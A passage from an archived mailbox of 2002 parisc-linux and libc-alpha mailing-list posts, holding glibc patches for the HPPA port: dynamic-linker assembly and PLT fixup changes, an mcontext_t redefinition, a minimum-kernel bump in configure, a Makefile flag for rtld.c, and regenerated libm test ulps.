   return ehdr->e_machine == EM_PARISC;
 }
 
-
 /* Return the link-time address of _DYNAMIC.  */
 static inline Elf32_Addr
+elf_machine_dynamic (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_dynamic (void)
 {
   Elf32_Addr dynamic;
 
-#if 0
-  /* Use this method if GOT address not yet set up.  */
-  asm (
-"	b,l	1f,%0\n"
+  asm ("b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 8),%0\n"
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
-      : "=r" (dynamic) : : "r1");
-#else
-  /* This works because we already have our GOT address available.  */
-  dynamic = (Elf32_Addr) &_DYNAMIC;
-#endif
+       : "=r" (dynamic) : : "r1");
 
   return dynamic;
 }
 
 /* Return the run-time load address of the shared object.  */
 static inline Elf32_Addr
+elf_machine_load_address (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_load_address (void)
 {
-  Elf32_Addr dynamic, dynamic_linkaddress;
+  Elf32_Addr dynamic;
 
   asm (
 "	b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
-"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%1\n"
-"	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%0\n"
-"	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%%r1),%0\n"
-   : "=r" (dynamic_linkaddress), "=r" (dynamic) : : "r1");
+"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
+   : "=r" (dynamic) : : "r1");
 
-  return dynamic - dynamic_linkaddress;
+  return dynamic - elf_machine_dynamic ();
 }
 
 /* Fixup a PLT entry to bounce directly to the function at VALUE.  */
@@ -167,41 +170,39 @@
 	      fptr = (struct hppa_fptr *) (reloc->r_offset + l_addr);
 	      if (r_sym != 0)
 		{
-		  /* Relocate the pointer to the stub.  */
-		  fptr->func += l_addr;
-		  /* Instead of the LTP value, we put the reloc offset
-		     here.  The trampoline code will load the proper
-		     LTP and pass the reloc offset to the fixup
-		     function.  */
-		  fptr->gp = iplt - jmprel;
 		  if (!got)
 		    {
 		      static union {
 			unsigned char c[8];
 			Elf32_Addr i[2];
 		      } sig = {{0x00,0xc0,0xff,0xee, 0xde,0xad,0xbe,0xef}};
+		      const Elf32_Rela *last_rel;
+
+		      last_rel = (const Elf32_Rela *) end_jmprel - 1;
+
+		      /* The stub is immediately after the last .plt
+			 entry.  Rely on .plt relocs being ordered.  */
+		      if (last_rel->r_offset == 0)
+			return 0;
 
 		      /* Find our .got section.  It's right after the
 			 stub.  */
-		      got = (Elf32_Addr *) (fptr->func + GOT_FROM_PLT_STUB);
+		      got = (Elf32_Addr *) (last_rel->r_offset + l_addr
+					    + 8 + SIZEOF_PLT_STUB);
 
-		      /* Sanity check to see if the address we are
-                         going to check below is within a reasonable
-                         approximation of the bounds of the PLT (or,
-                         at least, is at an address that won't fault
-                         on read).  Then check for the magic signature
-                         above. */
-		      if (fptr->func < (Elf32_Addr) fptr + sizeof(*fptr))
-			  return 0;
-		      if (fptr->func >
-			  ((Elf32_Addr) fptr
-			   + SIZEOF_PLT_STUB
-			   + ((l->l_info[DT_PLTRELSZ]->d_un.d_val / sizeof (Elf32_Rela))
-			      * 8)))
-			return 0;
+		      /* Check the magic signature.  */
 		      if (got[-2] != sig.i[0] || got[-1] != sig.i[1])
 			return 0; /* No lazy linking for you! */
 		    }
+
+		  /* Relocate the pointer to the stub.  */
+		  fptr->func = (Elf32_Addr) got - GOT_FROM_PLT_STUB;
+
+		  /* Instead of the LTP value, we put the reloc offset
+		     here.  The trampoline code will load the proper
+		     LTP and pass the reloc offset to the fixup
+		     function.  */
+		  fptr->gp = iplt - jmprel;
 		}
 	      else
 		{
@@ -271,22 +272,24 @@
 "	stw	%r25,-40(%sp)\n" /* argc */				\
 "	stw	%r24,-44(%sp)\n" /* argv */				\
 									\
-	/* We need the LTP, and we need it now. */			\
-	/* $PIC_pcrel$0 points 8 bytes past the current instruction,	\
-	   just like a branch reloc.  This sequence gets us the runtime	\
-	   address of _DYNAMIC. */					\
+	/* We need the LTP, and we need it now.				\
+	   $PIC_pcrel$0 points 8 bytes past the current instruction,	\
+	   just like a branch reloc.  This sequence gets us the		\
+	   runtime address of _DYNAMIC. */				\
 "	bl	0f,%r19\n"						\
 "	depi	0,31,2,%r19\n"	/* clear priviledge bits */		\
 "0:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%r19\n"			\
 "	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%r1),%r26\n"		\
 									\
-	/* Also get the link time address from the first entry of the GOT.  */ \
+	/* The link time address is stored in the first entry of the	\
+	   GOT.  */							\
 "	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%r19\n"	\
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%r1),%r20\n" \
 									\
 "	sub	%r26,%r20,%r20\n"	/* Calculate load offset */	\
 									\
-	/* Rummage through the dynamic entries, looking for DT_PLTGOT.  */ \
+	/* Rummage through the dynamic entries, looking for		\
+	   DT_PLTGOT.  */						\
 "	ldw,ma	8(%r26),%r19\n"						\
 "1:	cmpib,=,n 3,%r19,2f\n"	/* tag == DT_PLTGOT? */			\
 "	cmpib,<>,n 0,%r19,1b\n"						\
@@ -306,8 +309,8 @@
 	   |         32 bytes of magic       |				\
 	   |---------------------------------|				\
 	   | 32 bytes argument/sp save area  |				\
-	   |---------------------------------|  ((current->mm->env_end) + 63 & ~63) \
-	   |         N bytes of slack        |				\
+	   |---------------------------------|  ((current->mm->env_end)	\
+	   |         N bytes of slack        |	 + 63 & ~63)		\
 	   |---------------------------------|				\
 	   |      envvar and arg strings     |				\
 	   |---------------------------------|				\
@@ -375,7 +378,7 @@
 "	bl	_dl_init,%r2\n"						\
 "	ldo	4(%r23),%r23\n"	/* delay slot */			\
 									\
-	/* Reload argc, argv  to the registers start.S expects them in (feh) */ \
+	/* Reload argc, argv to the registers start.S expects.  */	\
 "	ldw	-40(%sp),%r25\n"					\
 "	ldw	-44(%sp),%r24\n"					\
 									\
@@ -387,8 +390,8 @@
 "	.word	0xdeadbeef\n"						\
 "	.previous\n"							\
 									\
-	/* %r3 contains a function pointer, we need to mask out the lower \
-	 * bits and load the gp and jump address. */			\
+	/* %r3 contains a function pointer, we need to mask out the	\
+	   lower bits and load the gp and jump address. */		\
 "	depi	0,31,2,%r3\n"						\
 "	ldw	0(%r3),%r2\n"						\
 "	addil	LT'__dl_fini_plabel,%r19\n"				\
@@ -409,43 +409,41 @@
    Enter with r19 = reloc offset, r20 = got-8, r21 = fixup ltp.  */
 #define TRAMPOLINE_TEMPLATE(tramp_name, fixup_name) \
   extern void tramp_name (void);		    \
-  asm ( "\
-	/* Trampoline for " #tramp_name " */				    \n\
-	.globl " #tramp_name "						    \n\
-	.type " #tramp_name ",@function					    \n\
-" #tramp_name ":							    \n\
-	/* Save return pointer */					    \n\
-	stw	%r2,-20(%sp)						    \n\
-	/* Save argument registers in the call stack frame. */		    \n\
-	stw	%r26,-36(%sp)						    \n\
-	stw	%r25,-40(%sp)						    \n\
-	stw	%r24,-44(%sp)						    \n\
-	stw	%r23,-48(%sp)						    \n\
-	/* Build a call frame. */					    \n\
-	stwm	%sp,64(%sp)						    \n\
-									    \n\
-	/* Set up args to fixup func.  */				    \n\
-	ldw	8+4(%r20),%r26	/* got[1] == struct link_map *  */	    \n\
-	copy	%r19,%r25	/* reloc offset  */			    \n\
-									    \n\
-	/* Call the real address resolver. */				    \n\
-	bl	" #fixup_name ",%r2					    \n\
-	copy	%r21,%r19	/* delay slot, set fixup func ltp */	    \n\
-									    \n\
-	ldwm	-64(%sp),%sp						    \n\
-	/* Arguments. */						    \n\
-	ldw	-36(%sp),%r26						    \n\
-	ldw	-40(%sp),%r25						    \n\
-	ldw	-44(%sp),%r24						    \n\
-	ldw	-48(%sp),%r23						    \n\
-	/* Return pointer. */						    \n\
-	ldw	-20(%sp),%r2						    \n\
-	/* Call the real function. */					    \n\
-	ldw	0(%r28),%r22						    \n\
-	bv	%r0(%r22)						    \n\
-	ldw	4(%r28),%r19						    \n\
-");
-
+  asm (".globl " #tramp_name "\n"					\
+ "	.type " #tramp_name ",@function\n"				\
+  #tramp_name ":\n"							\
+ 	/* Save return pointer */					\
+ "	stw	%r2,-20(%sp)\n"						\
+ 	/* Save argument registers in the call stack frame. */		\
+ "	stw	%r26,-36(%sp)\n"					\
+ "	stw	%r25,-40(%sp)\n"					\
+ "	stw	%r24,-44(%sp)\n"					\
+ "	stw	%r23,-48(%sp)\n"					\
+ 	/* Build a call frame, and save structure pointer. */		\
+ "	stwm	%r28,64(%sp)\n"						\
+ 									\
+ 	/* Set up args to fixup func.  */				\
+ "	ldw	8+4(%r20),%r26\n" /* got[1] == struct link_map *  */	\
+ "	copy	%r19,%r25\n"	  /* reloc offset  */			\
+ 									\
+ 	/* Call the real address resolver. */				\
+ "	bl	" #fixup_name ",%r2\n"					\
+ "	copy	%r21,%r19\n"	  /* delay slot, set fixup func ltp */	\
+ 									\
+ "	ldw	0(%r28),%r22\n"	  /* load up the returned func ptr */	\
+ "	ldw	4(%r28),%r19\n"						\
+ "	ldwm	-64(%sp),%r28\n"					\
+ 	/* Arguments. */						\
+ "	ldw	-36(%sp),%r26\n"					\
+ "	ldw	-40(%sp),%r25\n"					\
+ "	ldw	-44(%sp),%r24\n"					\
+ "	ldw	-48(%sp),%r23\n"					\
+ 	/* Call the real function. */					\
+ "	bv	%r0(%r22)\n"						\
+ 	/* Return pointer. */						\
+ "	ldw	-20(%sp),%r2\n"						\
+        );
+  
 #ifndef PROF
 #define ELF_MACHINE_RUNTIME_TRAMPOLINE			\
   TRAMPOLINE_TEMPLATE (_dl_runtime_resolve, fixup);	\
@@ -570,15 +568,15 @@
 	   probably haven't relocated the necessary values by this
 	   point so we have to find them ourselves. */
 
-	asm ("bl	0f,%0						    \n\
-	      depi	0,31,2,%0					    \n\
-0:	      addil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0	    \n\
-	      ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1   \n\
-	      addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0		    \n\
-	      ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2	    \n\
-	      addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0		    \n\
-	      ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
-	     :
+ 	asm ("bl	0f,%0\n\t"
+ 	     "depi	0,31,2,%0\n\t"
+ 	     "0:\taddil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0\n\t"
+ 	     "ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1\n\t"
+ 	     "addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0\n\t"
+ 	     "ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2\n\t"
+ 	     "addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0\n\t"
+ 	     "ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
+  	     :
 	     "=r" (dot),
 	     "=r" (p_boot_ldso_fptr),
 	     "=r" (p_fptr_root),

--l5oECiFRo5dp+2y7--


From - Thu Nov 08 21:25:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Correctly define mcontext for HPPA
Date: Tue, 19 Nov 2002 01:07:35 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20021119060735.GH12451__44645.4852157787$1416621947$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="wwU9tsYnHnYeRAKj"
X-Trace: ger.gmane.org 1416621947 17379 80.91.229.3 (22 Nov 2014 02:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:47 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:07:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0B234837
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:07:31 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1Xr-0002KP-00; Tue, 19 Nov 2002 01:07:35 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16863

--wwU9tsYnHnYeRAKj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

A machine context is really a signal context.

This has never worked correctly in hppa since the
kernel has always returned a sigcontext instead of
the struct defined in ucontext.h.

This definition change is made such that glibc
matches the ABI, rather than presenting an odd
view of mcontext_t.

The only thought I have...

- Is there enough information in our sigcontext to
  implement [set,get,make,swap]context calls?

c.

---

2002-08-20  Carlos O'Donell  <carlos@baldric.uwo.ca>

        * sysdeps/unix/sysv/linux/hppa/sys/ucontext.h:
        Define mcontext_t as a sigcontext.


--wwU9tsYnHnYeRAKj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=05-glibc23-hppa-mcontext

diff -urN glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h
--- glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h	2002-08-20 20:50:17.000000000 -0400
+++ glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h	2002-08-20 20:49:01.000000000 -0400
@@ -52,11 +52,7 @@
   } fpregset_t;
 
 /* Context to describe whole processor state.  */
-typedef struct
-  {
-    gregset_t gregs;
-    fpregset_t fpregs;
-  } mcontext_t;
+typedef struct sigcontext mcontext_t;
 
 /* Userlevel context.  */
 typedef struct ucontext


--wwU9tsYnHnYeRAKj--


From - Thu Nov 08 21:25:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Set minimum kernel and unwined_find_fde for HPPA
Date: Tue, 19 Nov 2002 01:07:11 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <20021119060711.GG12451__13581.209901213$1416621948$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="V2AZ19bMCakBLong"
X-Trace: ger.gmane.org 1416621948 17380 80.91.229.3 (22 Nov 2014 02:05:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:48 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:07:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0C334838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:07:31 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1XT-0002Gm-00; Tue, 19 Nov 2002 01:07:11 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16864

--V2AZ19bMCakBLong
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

The following patch bumps up the minimum kernel required for hppa, and
thus forces the build environment to have the most recent unaligned 
handler fixes.

Due to our old C++ binaries and libraries we will definately require
libc_cv_gcc_unwind_find_fde=yes in our configure.

c.

---

2002-11-11  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/unix/sysv/linux/configure.in:
	Make 2.4.19 minimum linux kernel for hppa, and add unwind symbols
	from gcc-3.0 era for backwards compatibility.
	* sysdeps/unix/sysv/linux/configure: Regenerate.



--V2AZ19bMCakBLong
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=02-glibc23-hppa-min-kern-unwind-fde

--- glibc-2.3.1.orig/sysdeps/unix/sysv/linux/configure.in	2002-10-25 21:06:29.000000000 -0400
+++ glibc-2.3.1/sysdeps/unix/sysv/linux/configure.in	2002-11-17 22:09:57.000000000 -0500
@@ -64,7 +64,8 @@
     arch_minimum_kernel=2.4.0
     ;;
   hppa*)
-    arch_minimum_kernel=2.3.99
+    libc_cv_gcc_unwind_find_fde=yes  
+    arch_minimum_kernel=2.4.19
     ;;
   m68k*)
     arch_minimum_kernel=2.0.10
--- glibc-2.3.1.orig/sysdeps/unix/sysv/linux/configure	2002-10-25 21:06:29.000000000 -0400
+++ glibc-2.3.1/sysdeps/unix/sysv/linux/configure	2002-11-17 22:10:17.000000000 -0500
@@ -101,7 +101,8 @@
     arch_minimum_kernel=2.4.0
     ;;
   hppa*)
-    arch_minimum_kernel=2.3.99
+    libc_cv_gcc_unwind_find_fde=yes  
+    arch_minimum_kernel=2.4.19
     ;;
   m68k*)
     arch_minimum_kernel=2.0.10

--V2AZ19bMCakBLong--


From - Thu Nov 08 21:25:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Disable the use of fp regs in rtld.c for HPPA
Date: Tue, 19 Nov 2002 01:07:48 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20021119060748.GI12451__5972.58939310468$1416621948$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="bNvn4bxlrUVLu6cT"
X-Trace: ger.gmane.org 1416621948 17384 80.91.229.3 (22 Nov 2014 02:05:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:48 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:07:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCE5A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:07:44 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1Y4-0002Mx-00; Tue, 19 Nov 2002 01:07:48 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16865

--bNvn4bxlrUVLu6cT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

"Fixed point math in rtld.c segfaults the loader because the ltp is not
yet setup at the point where we need to access it."
	- Randolph Chung

I agree with Randolph (after having seen it under gdb), and here is the
patch.

c.
---

2002-11-11  Randolph Chung  <tausq@debian.org>

	* sysdeps/hppa/Makefile: Disable the use of fp regs in rtld.c


--bNvn4bxlrUVLu6cT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=09-glibc23-hppa-buildhack

--- glibc/sysdeps/hppa/Makefile.orig	2002-09-11 20:19:15.000000000 -0700
+++ glibc/sysdeps/hppa/Makefile	2002-09-11 20:19:17.000000000 -0700
@@ -27,6 +27,7 @@
 endif
 
 ifeq ($(subdir),elf)
+CFLAGS-rtld.c += -mdisable-fpregs
 dl-routines += dl-symaddr dl-fptr
 rtld-routines += dl-symaddr dl-fptr
 endif

--bNvn4bxlrUVLu6cT--


From - Thu Nov 08 21:25:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] New ulps for HPPA
Date: Tue, 19 Nov 2002 01:08:11 -0500
Lines: 917
Approved: news@gmane.org
Message-ID: <20021119060811.GJ12451__1375.22238442234$1416621948$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="edESjMboOAwUFn6i"
X-Trace: ger.gmane.org 1416621948 17386 80.91.229.3 (22 Nov 2014 02:05:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:48 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:08:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37AD74829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:08:01 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1YR-0002RG-00; Tue, 19 Nov 2002 01:08:11 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16866

--edESjMboOAwUFn6i
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

New ulps for hppa.

c.
--

2002-11-11  Randolf Chung  <tausq@debian.org>

	* sysdeps/hppa/fpu/libm-test-ulps: Regenerate new ulps for hppa.


--edESjMboOAwUFn6i
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=10-glibc23-hppa-tests

--- glibc-2.3.1/sysdeps/hppa/fpu/libm-test-ulps	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/fpu/libm-test-ulps.new	2002-11-11 15:45:46.000000000 -0500
@@ -0,0 +1,890 @@
+# Begin of automatic generation
+
+# atan2
+Test "atan2 (-0.75, -1.0) == -2.49809154479650885165983415456218025":
+float: 3
+ifloat: 3
+Test "atan2 (0.75, -1.0) == 2.49809154479650885165983415456218025":
+float: 3
+ifloat: 3
+Test "atan2 (1.390625, 0.9296875) == 0.981498387184244311516296577615519772":
+float: 1
+ifloat: 1
+
+# atanh
+Test "atanh (0.75) == 0.972955074527656652552676371721589865":
+float: 1
+ifloat: 1
+
+# cacosh
+Test "Real part of: cacosh (-2 - 3 i) == -1.9833870299165354323470769028940395 + 2.1414491111159960199416055713254211 i":
+double: 1
+float: 7
+idouble: 1
+ifloat: 7
+Test "Imaginary part of: cacosh (-2 - 3 i) == -1.9833870299165354323470769028940395 + 2.1414491111159960199416055713254211 i":
+double: 1
+float: 3
+idouble: 1
+ifloat: 3
+
+# casin
+Test "Real part of: casin (0.75 + 1.25 i) == 0.453276177638793913448921196101971749 + 1.13239363160530819522266333696834467 i":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+# casinh
+Test "Real part of: casinh (-2 - 3 i) == -1.9686379257930962917886650952454982 - 0.96465850440760279204541105949953237 i":
+double: 5
+float: 1
+idouble: 5
+ifloat: 1
+Test "Imaginary part of: casinh (-2 - 3 i) == -1.9686379257930962917886650952454982 - 0.96465850440760279204541105949953237 i":
+double: 3
+float: 6
+idouble: 3
+ifloat: 6
+Test "Real part of: casinh (0.75 + 1.25 i) == 1.03171853444778027336364058631006594 + 0.911738290968487636358489564316731207 i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: casinh (0.75 + 1.25 i) == 1.03171853444778027336364058631006594 + 0.911738290968487636358489564316731207 i":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+# catan
+Test "Real part of: catan (-2 - 3 i) == -1.4099210495965755225306193844604208 - 0.22907268296853876629588180294200276 i":
+float: 3
+ifloat: 3
+Test "Imaginary part of: catan (-2 - 3 i) == -1.4099210495965755225306193844604208 - 0.22907268296853876629588180294200276 i":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "Real part of: catan (0.75 + 1.25 i) == 1.10714871779409050301706546017853704 + 0.549306144334054845697622618461262852 i":
